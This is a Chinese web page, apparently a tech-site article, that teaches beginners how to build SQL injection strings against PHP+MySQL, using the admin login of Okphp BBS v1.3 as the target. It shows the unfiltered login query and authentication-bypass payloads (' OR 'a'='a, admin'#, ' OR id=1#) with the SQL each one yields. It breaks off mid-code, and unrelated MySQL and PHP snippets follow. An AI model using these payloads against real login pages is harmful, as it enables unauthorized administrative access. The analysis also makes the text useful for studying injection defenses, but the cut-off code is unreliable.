易截截图软件、单文件、免安装、纯绿色、仅160KB

php+mysql注射语句构造技术

黑客入门技术之php+mysql注射语句构造:
一.前言:
测试版本信息:Okphp BBS v1.3 开源版
由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。
  声明:文章所有提到的"漏洞",都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。
二."漏洞"分析:
1.admin/login.php注射导致绕过身份验证漏洞:
代码:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$q = "select id,group_id from $user_table where username='$username' and password='$password'"中
$username 和 $password 没过滤, 很容易就绕过。
对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:
构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a
相当于sql语句:
select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'
构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)
即:
select * from $user_table where username='admin'#' and password='$password'"
相当于:
select * from $user_table where username='admin'
在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:
select id,group_id from $user_table where username='admin'#' and password='$password'"
相当于:
select id,group_id from $user_table where username='admin'
只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,
我们就可以这样构造:$username=' OR id=1#
相当于:
select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)
我们接着往下看代码:
if ($row[0]) {
// If not admin or super moderator
if ($username != "admin" && !eregi("(^|&)3($&#1


相关文档:

其他数据库模拟实现mysql的limit语法

假如我有个user表,我想查询符合某些条件的第50个用户开始的10个用户,且不能使用id号between and那样查询,应该怎么写SQL语句?
  在mysql数据库中有limit,offset语句可以方便的实现,那么在SQL server中呢?SQL Server是否支持limit和offset语句呢?
select top 10 * from
(select top 60 * from [user] order by userid) a ......

mysql 导入数据 LOAD DATA LOCAL INFILE

你可以创建一个文本文件“pet.txt”,每行包含一个记录,用定位符(tab)把值分开,并且以CREATE TABLE语句中列出的列次序给出。对于丢失的值(例如未知的性别,或仍然活着的动物的死亡日期),你可以使用NULL值。为了在你的文本文件中表示这些内容,
使用\N(反斜线,字母N)。例如,Whistler鸟的记录应为(这里值之 ......

Mysql5.1 for PHP

准备:下载Mysql5.1<mysql-essential-5.1.41-win32.msi>
安装:step by step
测试:1.MySQL测试
点开MySQL Command Line Client, 输入安装时建立的密码。
mysql>show databases;
mysql>use <<database name>>;
mysql>show tables;
mysql>select * from <<table name>>;
......

Parsing JSON Data from PHP Using jQuery (ajax)

have been studying parsing JSON from PHP using AJAX to display it in
the client side and jQuery had been a great help to me. Here is a very
simple code in parsing JSON using jQuery that i made.
tablejsondata.php
This file makes the request to a php file and displays the returned data into a tabl ......

解决PHP中文乱码问题

一.首先是PHP 网页的编码
1.php文件本身的编码与网页的编码应匹配
a. 如果欲使用gb2312编码,那么php要输出头:header(“Content-Type: text/html; charset=gb2312"),静态页面添加<meta http-equiv="Content-Type" content="text/html; charset=gb2312">,所有文件的编码格式为ANS ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号